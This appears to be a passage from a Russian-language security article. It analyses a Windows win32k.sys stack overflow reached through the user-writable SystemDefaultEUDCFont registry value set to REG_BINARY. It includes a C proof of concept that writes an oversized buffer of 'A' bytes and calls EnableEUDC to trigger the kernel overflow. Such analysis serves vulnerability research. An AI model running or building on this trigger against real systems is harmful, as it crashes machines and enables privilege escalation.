RtlQueryRegistryValues() function parameters:NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);_RTL_QUERY_REGISTRY_TABLE structure with the results.typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;EntryContext field, from this structure, the type of output buffer is defined, and here there is an interesting nuance, the buffer can be interpreted as a UNICODE_STRING structure or as a buffer from ULONG values.typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;HKCU\EUDC\[Language]\SystemDefaultEUDCFon t registry key was found, which can only be accessed with user rights and changed its type to REG_BINARY by calling the Win32k.sys->NtGdiEnableEudc() function. During the operation of this function, it is assumed that the registry value REG_SZ and the buffer are placed on the stack, as is the UNICODE_STRING structure from which the first ULONG value interprets the buffer length, but if the registry value is represented as REG_BINARY , then a classic stack overflow occurs.
#define EUDC_FONT_VAL "SystemDefaultEUDCFont"
int _tmain( int argc, _TCHAR* argv[])
{
HKEY hKey;
char szKeyName[MAX_PATH], Buff[0x600];
sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d" , GetACP());
//
LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegCreateKey() fails with status %d\n" , Code);
return -1;
}
//
RegDeleteValue(hKey, EUDC_FONT_VAL);
// "SystemDefaultEUDCFont" REG_BINARY
FillMemory(Buff, sizeof (Buff), 'A' );
Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
RegCloseKey(hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegSetValueEx() fails with status %d\n" , Code);
return -1;
}
//
EnableEUDC(TRUE);
return 0;
}Source: https://habr.com/ru/post/108903/
All Articles